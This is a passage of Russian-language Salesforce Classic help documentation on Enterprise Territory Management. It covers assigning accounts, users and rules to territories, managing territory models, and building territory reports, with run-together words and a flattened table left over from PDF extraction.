моделейтерритории. Крометого, откройтетерритории, использующиеназначения
организаций, выполненные вручную.

5. Чтобы просмотреть назначенные организации, нажмите кнопку «Просмотр
организаций» на странице сведений о территории. Столбец «Метод» отображает способ назначения каждой
организации: посредством правила или вручную.

Прим.: Чтобыпросмотретьизмененияправил, заданныхдлятерритории, рекомендуемвыполнитьправилаповторно.
Чтобы выполнить правила только для данной территории, откройте страницу сведений о территории, найдите
связанныйсписок «Правиланазначения, заданныевданнойтерритории» инажмите кнопку «Выполнитьправила».
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Определение пользователей в территориях, назначенных организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
пользователей территорий
из моделей территории
«Активно»,
«Планирование» или
«Архивировано»,
назначенных организации:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Для просмотра
пользователей территорий
из модели территории
«Активно», назначенной
организации:
• «Просмотр настройки и

конфигурации»

Организации и пользователи назначаются территориям независимо друг от друга, но
назначениеорганизацииинициируетпредоставлениепользователямданнойтерритории
доступакорганизации. Данныепользователимогутбытьлегкоопределеныпосредством
записи организации.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте запись организации, содержащую назначенные территории.

2. Определите пользователей посредством связанного списка «Пользователи в
назначенных территориях».

Прим.: Поле «Дата изменения» данного связанного списка отображает дату
последнего изменения записи связи между территорией и пользователем.
Данноеполеможет содержатьилине содержать дату назначенияпользователя
территории.

Пример: Шесть торговых представителей назначаются территории «Восток».
Ввиду назначения организации «Публикация XYZ» территории «Восток», шесть
торговых представителей территории отображаются в связанном списке
«Пользователи в назначенных территориях» записи организации «Публикация
XYZ».
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Назначение территорий вручную организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения территорий
вручную внутри
организаций:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Для просмотра территорий
из моделей территории
«Активно»,
«Планирование» или
«Архивировано»,
назначенных организации:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Для просмотра территорий,
назначенных из модели
территории «Активно»,
назначенной организации:
• «Просмотр настройки и

конфигурации»

Запись организации позволяет напрямую назначать территории соответствующей
организации. Организацияммогутназначатьсятолькотерритории, которыепринадлежат
моделям в состоянии «Планирование» или «Активно».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте нужную организацию.

2. Чтобыпросмотретьсписоктерриторийорганизации, нажмитекнопку«Назначить
территории» в связанном списке «Назначенные территории» страницы сведений
об организации. При необходимости настройте списковое представление.

3. Выберите модель территории, содержащую нужные территории.

4. Установите флажок напротив каждой нужной территории в связанном списке
«Доступно». Чтобы просмотреть дополнительные записи, щелкните ссылку
«Больше» ниже списка.
Каждая выбранная территория отображается в связанном списке «Выбрано».

5. Нажмите кнопку «Назначить».
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Назначение правил назначения вручную территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения правил
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Запись территории позволяет напрямую назначать правила назначения объекта
соответствующейтерритории. Доступныеправилаизвлекаютсяизмоделитерритории,
которой принадлежит выбранная территория.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Каждая территория может использовать не более 15 правил назначения.

1. Откройте нужную территорию.

2. Чтобыпросмотретьсписокправил, доступныхвмодели, нажмитекнопку«Назначить
правила» в связанном списке «Правила назначения, назначенные данной
территории» страницы сведений о территории.

3. Чтобыпросмотреть сведенияокритерияхправил, наведите указательмышинаимена
доступных правил в связанном списке «Доступно». Установите флажок напротив
каждогонужногоправила. Чтобыпросмотреть дополнительныеправила, щелкните
ссылку «Больше» ниже списка.
Каждое выбранное правило отображается в связанном списке «Выбрано».

4. При необходимости примените выбранные правила к дочерним территориям.

5. Нажмите кнопку «Назначить».

Назначение территорий вручную возможностям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения территорий
вручную возможностям:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Записьвозможностипозволяетназначатьиотслеживатьтерриторию, чьиназначенные
торговыепредставителиработаютнад даннойвозможностью. Назначение территории
вручнуюконтролируетсяобщимдоступомпользователякназначенной (родительской)
организациивозможности. Назначениетерриторииинициируетпредоставлениеобщего
доступа к возможности всем пользователям Salesforce, назначенным родительской
территории в иерархии моделей территории.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Пользователи, имеющие общий доступ к организации возможности, могут назначать
возможностилюбую территориюизактивноймодели. Впротивномслучае, пользователи
могут назначать только территорию, назначенную организации возможности. При
назначении территории вручную система Salesforce отображает возможности,
назначенные организации территории, но только пользователи, имеющие общий
доступ, могутнаходитьиназначатьлюбуютерриториювактивноймоделитерритории.

1. Откройте запись возможности.

2. Выберите нужную территорию в поле «Территория».

3. Сохраните запись возможности.
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Пример: Организацияиспользуетшестьвозможностейидве территории («Восток» и «Запад»). Территория «Восток»,
территория «Запад» или любая другая территория внутри активной модели может быть назначена любой или всем
шести возможностям. Один из торговых представителей, имеющий общий доступ к организации, назначенной
одной из возможностей, может назначить данной возможности любую территорию. Ввиду отсутствия общего
доступа корганизациям, назначеннымпятидругимвозможностям, торговыйпредставительможетназначить только
территорию, которая уже назначена назначенной организации возможности.

Выполнение фильтра назначения территории возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения фильтра
назначения территории
возможности:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Фильтр назначения территории возможности автоматически назначает территории
возможностям на основе логики фильтра в классе Apex.

1. Просмотрите иерархию активной модели территории.

2. Чтобыинициировать задание, применяющеефильтр, нажмитекнопку «Выполнить
фильтрвозможности». Выберитенужныепараметры. Просмотритедополнительные
параметры для ввода диапазона дат.

3. Нажмите кнопку «Выполнитьфильтр возможности».
Уведомление о выполнении данного задания будет отправлено по эл. почте.
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Клонирование модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для клонирования модели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Клонированиепозволяет пользователям создавать копиюмодели территории, которая
можетиспользоватьсядлятестированияразныххарактеристиктерритории. Новаямодель
содержит территории, правила назначения, пользователей и назначенные вручную
организации, поддерживаемые исходной моделью. Клонирование доступно только
моделямвсостоянии «Планирование», «Активно» или «Архивировано». Позавершении
клонирования новой модели назначается состояние «Планирование».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

По завершении клонирования новой модели территории назначается состояние
«Планирование».

1. Откройте нужную модель территории.

2. Нажмите кнопку «Клонировать».

3. Заполните поля метки и описания.

4. Нажмите кнопку «Сохранить».
Состояние «Клонирование» назначается модели на время обработки запроса
системой Salesforce. В зависимости от размера и сложности модели, клонирование
может занять некоторое время. Уведомление о завершении данного процесса будет
отправлено по эл. почте.

СМ. ТАКЖЕ:

Ограничения для функции управления территориями предприятия
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Назначение пользователей территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
пользователей территориям:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Система позволяет назначать пользователей территориям, где должны продаваться
продуктыиуслуги. Пользователимогутназначаться территориям, которыепринадлежат
моделям в состоянии «Активно» или «Планирование»; назначения, выполненные в
состоянии «Планирование», используются только для планирования: они не влияют на
доступ пользователей к записям.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте нужную территорию из иерархии моделей территории.

2. Нажмитекнопку «Управлениепользователями» в связанномсписке «Назначенные
пользователи» страницы сведений о территории.

3. Выберитеилинайдитенужногопользователянастранице «Назначитьпользователей».

4. Нажмите кнопку «Сохранить».

Идентификация пользователей территории по роли территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет отслеживать функции пользователей внутри территорий путем
создания и назначения ролей территории пользователям территории. Пользователям
могут назначаться разные роли в разных территориях.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Пример: Например, создайте роли «Ответственный за территорию», «Менеджер
по продажам», «Специалист по продуктам» и «Торговый представитель».

Определение раскрывающегося списка для ролей пользователей территории
Добавьте роли территории в связанный список «Роль в территории» объекта
UserTerritoryAssociation, позволяющий выбирать роли для пользователей территории. Заданный раскрывающийся
список «Рольвтерритории» можетиспользоватьсявсемитерриториямивсостоянии «Активно» или «Планирование».

Назначение ролей территории пользователям
Назначение ролей территории позволяет определять роли пользователей внутри территорий.

СМ. ТАКЖЕ:

Добавление или редактирование значений раскрывающегося списка
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Определение раскрывающегося списка для ролей пользователей территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
раскрывающихся списков:
• «Настройка

приложения»

Добавьте роли территории в связанный список «Роль в территории» объекта
UserTerritoryAssociation, позволяющий выбирать роли для пользователей территории.
Заданный раскрывающийся список «Роль в территории» может использоваться всеми
территориями в состоянии «Активно» или «Планирование».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. В разделе настроек управления объектами для связей между территорией и
пользователем перейдите в раздел полей.

2. Щелкните метку «Роль в территории» и нажмите кнопку «Создать».

3. Введитенужныезначенияраскрывающегосяспискаинажмитекнопку «Сохранить».
Введенныезначениядобавляютсявраскрывающийсясписок «Роль в территории»
на странице редактирования назначенных пользователей территории.

Назначение ролей территории пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения ролей
территории пользователям:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Назначение ролей территории позволяет определять роли пользователей внутри
территорий.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесьвналичиираскрывающегосясписка «Рольвтерритории», позволяющего
выбрать нужную роль.

2. Откройте нужную запись территории.

3. Щелкните ссылку «Правка» напротив имени нужного пользователя в списке
«Назначенные пользователи».

4. Выберите нужную роль территории из раскрывающегося списка «Роль в
территории».

5. Нажмите кнопку «Сохранить».
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Активация модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации модели
территории:
• «Просмотр настройки и

конфигурации»

И

«Управление
территориями»

Прежде чем активировать модель территории, рекомендуем проверить ее структуру и
назначения организации. Помните, что система позволяет сохранять состояния
«Планирование» и «Архивировано» длядальнейшегосозданияииспользованиямодели.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Важное замечание: Организацияможет одновременноиспользовать только одну
модель в состоянии «Активно». Активации подлежат только модели в состоянии
«Планирование». Активированной модели не может быть назначено состояние
«Планирование»: моделиможетбытьназначенотолькосостояние «Архивировано».

1. Прежде чем активировать модель, откройте назначения организации для
предварительного просмотра.

2. Откройтезаписьдлянужноймоделитерриторииищелкните«Просмотриерархии».

3. Нажмите кнопку «Активировать».
Состояние «Активация» назначается модели на время обработки запроса системой
Salesforce. В зависимости от размера и сложности модели, активация может занять
некоторое время. Уведомление о завершении данного процесса будет отправлено
по эл. почте.

СМ. ТАКЖЕ:

Состояние модели территории
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Настройка полномочий и доступа функции управления территориями предприятия
для администраторов и пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
полномочий пользователя:
• «Управление

пользователями»

Для создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

Важным этапом внедрения функции управления территориями предприятия является
предоставление нужным пользователям соответствующего уровня доступа.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Просмотритепоследствияназначенияполномочийдлямоделитерриторииидоступа
к записям в функции управления территориями предприятия.

2. При необходимости назначьте полномочия пользователя.

3. Добавьте связанный список «Назначенные территории» в макеты страниц
организаций. Данный список позволяет администраторам вручную назначать
территории организациям, а пользователям определять территории, назначенные
организациям. Убедитесь, что связанный список содержит стандартные и
настраиваемые поля (при их наличии), необходимые администраторам и
пользователям для просмотра.

4. Добавьте связанный список «Пользователи в назначенных территориях» в макеты
страницорганизаций. Данныйсписокпозволяет администраторамипользователям
просматриватьвсехпользователей, назначенныхтерриториям, которыеназначаются
организации, на основе предоставленных полномочий. Убедитесь, что связанный
списоксодержитстандартныеинастраиваемыеполя (приихналичии), необходимые
администраторам и пользователям для просмотра.

5. Добавьтеполе «Территория» вмакетыстраницвозможностей. Данноеполепозволяет
администраторам и менеджерам по продажам вручную назначать территорию
возможности из списка территорий, назначенных организации возможности.
Добавьте поля «Имя территории» и «Описание территории» в списковые представления возможностей и отчеты
для предоставления пользователям возможности определения назначенных территорий.

6. Добавьте любые созданные настраиваемые кнопки, ссылки или действия в макеты страниц территорий.

СМ. ТАКЖЕ:

Как полномочия влияют на доступ к функциям и данным при использованиифункции управления территориями
предприятия?

Профили

Наборы полномочий

Элементы пользовательского интерфейса расширенного редактора макетов страниц
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Выполнение правил назначения для территории

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения правил
внутри территорий:
• «Настройка

приложения»

И

«Управление
территориями»

Системапозволяет выполнятьправиланазначенияорганизациидлялюбойтерритории,
использующей правила и принадлежащей модели территории в состоянии
«Планирование» или «Активно». Если территория находится в состоянии
«Планирование», то выполняемые правила поддерживают предварительный просмотр
назначений организаций. Если территория находится в состоянии «Активно», то
выполняемые правила назначают организации территориям.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Откройте иерархию, которой принадлежит нужная модель территории.

2. Чтобы найти нужную территорию, воспользуйтесь древовидным или списковым
представлением.

3. При выборе спискового представления нажмите кнопку «Выполнить правила». При выборе древовидного
представления наведите указатель мыши на имя нужной территории и нажмите кнопку «Выполнить правила».
Чтобыпросмотреть сведения о записи территории, включая назначенныеправила, до выполнения соответствующих
правил, откройте запись и нажмите кнопку «Выполнить правила» в связанном списке «Правила назначения,
назначенные данной территории».

Определение территорий, к которым применяется правило назначения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
правиле назначения:
• «Настройка

приложения»

И

«Управление
территориями»

При использовании правил для назначения организаций территориям рекомендуем
определить территории, к которым применяется отдельное правило.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Введите строку «Модели территории» вполе «Быстрый поиск» вменю «Настройка»
ивыберитепункт«Моделитерритории», чтобывывестисписокмоделейтерритории
для организации.

2. Чтобы просмотреть список всех правил, связанных с моделью и ее территориями,
найдите нужную модель и щелкните ссылку «Просмотр правил».

3. Щелкните имя нужного правила и просмотрите территории, к которым оно
применяется, в связанном списке «Назначенные территории».
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Создание типов настраиваемых отчетов для отчетов функции управления
территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Организации, использующиефункциюуправления территориямипредприятия, могут
выполнять отчеты, позволяющие просматривать назначения организаций, назначения
пользователей и т. д. Система позволяет настраивать типы настраиваемых отчетов,
позволяющие менеджерам по продажам и другим пользователям создавать нужные
отчеты.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Просмотрите сведения о типах настраиваемых отчетов, а также основные этапы их
создания и использования.

2. Создайте и принеобходимостинастройте типынастраиваемыхотчетов. Разрешите
доступностьвсехполейдля составленияотчетов. Добавьте каждыйотчет в категорию
типа отчета «Управление территориями». Введите имя и описание для каждого типа
отчета.

CBA (основной
объект)

Отчет (разделы,
соответствующие
некоторым
отчетам,
отображаются в
виде ссылок)

–Территории

Установите
флажок «Записи

ОрганизацииОрганизации,
назначенные
территориям

"А" должныиметь
связанныезаписи
"B"».

–Территории

Установите
флажок «Записи

ОрганизацииОрганизации, не
назначенные
территориям

"А" могут иметь
или не иметь
связанныезаписи
"B"».

Записи,
назначенные
территории

Установите
флажок «Записи

ТерриторииМодели
территории

Территории с
назначенными
организациями

"B" должныиметь
связанныезаписи
"С"».
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CBA (основной объект)Отчет (разделы,
соответствующие
некоторым отчетам,
отображаются в виде
ссылок)

Записи, назначенные
территории

Установите флажок
«Записи "В" могут иметь

ТерриторииМодели территорииТерритории без
назначенных организаций

или не иметь связанные
записи "С"».

–Территории

Установите флажок
«Записи "А" должны

ПользователиПользователи, назначенные
территориям

иметь связанные записи
"B"».

–Территории

Установите флажок
«Записи "А" могут иметь

ПользователиПользователи, не
назначенные территориям

или не иметь связанные
записи "B"».

Пользователи

Установите флажок
«Записи "B" должны

ТерриторииМодели территорииТерритории с
назначенными
пользователями

иметь связанные записи
"С"».

Пользователи

Установите флажок
«Записи "В" могут иметь

ТерриторииМодели территорииТерритории без
назначенныхпользователей

или не иметь связанные
записи "С"».

–Территории

Установите флажок
«Каждая запись "А"

ОрганизацииСуммируемые сведения об
организациях по
территории

должна иметь как
минимумоднусвязанную
запись "B"».

3. Разверните нужные типы отчетов.
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4. Уведомите пользователей о возможности создания отчетов посредством данных типов настраиваемых отчетов.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Составление отчетов по организациям, назначенным территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет управлять назначениями организаций путем составления отчетов
по организациям, назначенным территориям. Отчеты позволяют просматривать
территории и принадлежащие им организации.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесь, что организация использует тип настраиваемого отчета, ссылающийся
на объекты «Организации» и «Территории». Убедитесь, что объект «Организации»
должениметь связанные записиобъекта «Территории», иразрешитедоступность всех
полей данных объектов для составления отчетов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите нужный тип настраиваемого отчета из категории «Управление
территориями».

4. Нажмите кнопку «Создать».

5. Убедитесь, что отчет содержит поле «Имя организации» объекта «Организации» и
поле «Метка» объекта «Территории». В противном случае, добавьте данные поля.

6. При необходимости отфильтруйте результаты отчета. Чтобы просмотреть только
данныедлямоделейтерриториивсостоянии «Активно», выберитезначение «Фильтр
поля» из раскрывающегося списка «Фильтры». Настройте параметр фильтрации
«"Модель территории: метка" равно "<имя активной модели территории>"» и
нажмите кнопку «ОК». Чтобы выполнить фильтрацию по ответственности за
организацию, выберите значение «Мои организации», «Организации моей рабочей
группы» или «Организации моей группы, работающей с территориями» в поле
«Показать». Чтобы выполнить фильтрацию по назначению территории
пользователя, выберите значение «Организации моих территорий».

Важное замечание: При последующей активации другой модели территории
рекомендуемобновитьпеременнуюименимоделитерриториивданномотчете.

7. Добавьте любые другие нужные поля.

8. Сохраните и запустите отчет.

9. Чтобы просмотреть каждуюорганизациюи количество назначенных ей территорий, резюмируйте данные по полю
«Имя организации» объекта «Организации».
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Составление отчетов по территориям без назначенных организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет управлять назначениями организаций путем составления отчетов
по территориям моделей, которые не имеют назначенных организаций.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесь, что организация использует тип настраиваемого отчета, ссылающийся
на объекты «Модели территории», «Территории» и «Записи, назначенные
территории». Убедитесь, чтообъект «Территории» можетиметьилинеиметь связанные
записи объекта «Записи, назначенные территории», и разрешите доступность всех
полей данных объектов для составления отчетов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите нужный тип настраиваемого отчета из категории «Управление
территориями».

4. Нажмите кнопку «Создать».

5. Убедитесь, чтоотчет содержитполе «Метка» объекта «Модели территории» иполе
«Метка» объекта «Территории». В противном случае, добавьте данные поля.

6. Выберите значение «Кросс-фильтр» из раскрывающегося списка «Фильтры».
Настройте параметрфильтрации «Территории без записей, назначенных территории»
и нажмите кнопку «ОК». Настройте параметр фильтрации «"Объект" равно
"Организация"».

7. Чтобыпросмотретьтолькоданныедлямоделейтерриториив состоянии «Активно»,
выберите значение «Фильтр поля» из раскрывающегося списка «Фильтры».
Настройтепараметрфильтрации «"Состояние" равно "Активно"» инажмитекнопку
«ОК».

8. Добавьте любые другие нужные поля.

9. Сохраните и запустите отчет.
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Составление отчетов по пользователям, не назначенным территориям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет управлять назначениями пользователей путем составления отчетов
по пользователям, не назначенным территориям.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесь, что организация использует тип настраиваемого отчета, ссылающийся
на объекты «Пользователи» и «Территории». Убедитесь, чтообъект «Пользователи»
может иметь или не иметь связанные записи объекта «Территории», и разрешите
доступность всех полей данных объектов для составления отчетов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите нужный тип настраиваемого отчета из категории «Управление
территориями».

4. Нажмите кнопку «Создать».

5. Убедитесь, что отчет содержит поле «Полное имя» объекта «Пользователи» и поле
«Метка» объекта «Территории». В противном случае, добавьте данные поля.

6. Выберите значение «Кросс-фильтр» из раскрывающегося списка «Фильтры».
Настройте параметрфильтрации «Пользователи без территорий» и нажмите кнопку
«ОК».

7. Чтобыпросмотретьтолькоданныедлямоделейтерриториив состоянии «Активно»,
выберите значение «Фильтр поля» из раскрывающегося списка «Фильтры».
Настройте параметр фильтрации «"Модель территории: метка" равно "<имя
активной модели территории>"» и нажмите кнопку «ОК».

Важное замечание: При последующей активации другой модели территории
рекомендуемобновитьпеременнуюименимоделитерриториивданномотчете.

8. Добавьте любые другие нужные поля.

9. Сохраните и запустите отчет.
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Составление отчетов по территориям с назначенными пользователями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет управлять назначениями пользователей путем определения
территорий моделей, имеющих назначенных пользователей. Отчеты позволяют
просматривать территории и назначенных им пользователей.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесь, что организация использует тип настраиваемого отчета, ссылающийся
на объекты «Модели территории», «Территории» и «Пользователи». Убедитесь, что
объект «Территории» должен иметь связанные записи объекта «Пользователи», и
разрешите доступность всех полей данных объектов для составления отчетов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите нужный тип настраиваемого отчета из категории «Управление
территориями».

4. Нажмите кнопку «Создать».

5. Убедитесь, что отчет содержит поле «Метка» объекта «Модели территории», поле
«Метка» объекта «Территории» и поле «Полное имя» объекта «Пользователи». В
противном случае, добавьте данные поля.

6. Чтобыпросмотретьтолькоданныедлямоделейтерриториив состоянии «Активно»,
выберите значение «Фильтр поля» из раскрывающегося списка «Фильтры».
Настройтепараметрфильтрации «"Состояние" равно "Активно"» инажмитекнопку
«ОК».

7. Добавьте любые другие нужные поля.

8. Сохраните и запустите отчет.

9. Чтобы просмотреть каждую территорию с назначенными пользователями,
резюмируйте данные по полю «Метка» объекта «Территории».
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Составление отчетов по суммируемым полям организаций по территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для планирования отчетов:
• «Планированиеотчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Система позволяет оценивать размер территории путем составления отчетов по
суммируемым сведениям об организациях (например, годовой доход или количество
сотрудников).

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. Убедитесь, что организация использует тип настраиваемого отчета, ссылающийся
на объекты «Организации» и «Территории». Убедитесь, что объект «Организации»
должен иметь как минимум одну запись объекта «Территории», и разрешите
доступность всех полей данных объектов для составления отчетов.

2. Создайте отчет: откройте вкладку «Отчеты» и нажмите кнопку «Создать отчет».

3. Выберите нужный тип настраиваемого отчета из категории «Управление
территориями».

4. Нажмите кнопку «Создать».

5. Выберите параметр «Матричный формат».

6. Выберите поле «Метка» из списка полей «Территории». Перетащите данное поле
для создания группировки строк.

7. Выберите поле «Имя организации» из списка полей «Организации». Перетащите
данное поле для создания группировки строк.

8. Выберите суммируемые поля (например, «Годовой доход» и «Сотрудники») из списка
полей «Организации». Перетащитеданныеполявобласть суммируемыхполей. При
необходимости установите флажок «Сумма».

9. Принеобходимостиотфильтруйтерезультатыотчета. Чтобывыполнитьфильтрацию
по ответственности за организацию, выберите значение «Мои организации»,
«Организации моей рабочей группы» или «Организации моей группы, работающей с
территориями» вполе«Показать». Чтобывыполнитьфильтрациюпоназначениютерриториипользователя, выберите
значение «Организации моих территорий».

10. Добавьте любые другие нужные поля.

11. Выполните и проверьте отчет.

12. Чтобы сложить все значения суммируемых полей по территории, резюмируйте данные по полю «Метка» объекта
«Территории».

13. Сохраните отчет.
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Архивирование модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для архивирования модели
территории:
• «Управление

территориями»

Архивирование инициирует деактивацию модели территории в организации. Тем не
менее, модель сохраняется в списке моделей территории, который позволяет
просматривать связанные правила назначения и итоговые назначения организации,
созданные даннымиправилами. Архивированиюподлежат только модели в состоянии
«Активно». Архивированной модели не может быть назначено состояние «Активно»
или «Планирование».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

1. В настройке введите «Модели территории» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Модели территории».

2. Щелкните ссылку «Правка» напротив нужной модели территории.

3. Выберите значение «Архивирование» из раскрывающегося списка «Состояние».
Состояние «Архивирование» назначается модели на время обработки запроса
системой Salesforce. После завершения обработки модели назначается состояние
«Архивировано», а пользователю отправляется соответствующее электронное
уведомление. В зависимости от размера и сложности организации, данный процесс
может занять некоторое время.

Удаление модели территории

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления модели
территории:
• «Управление

территориями»

Система позволяет удалять неиспользуемые модели территории. Активная территория
не может быть удалена: модель должна находиться в состоянии «Планирование» или
«Архивировано».

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Удаление модели территории инициирует удаление всех связанных территорий и
назначенийорганизации. Удалениенеможетбытьотменено; удаленнаямодельнеможет
быть восстановлена. Данныйпроцессможет занять несколькочасов. Уведомлениео его
завершении будет отправлено по эл. почте.

1. В настройке введите «Модели территории» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Модели территории».

2. Найдите нужную модель. Убедитесь, что модель находится в состоянии
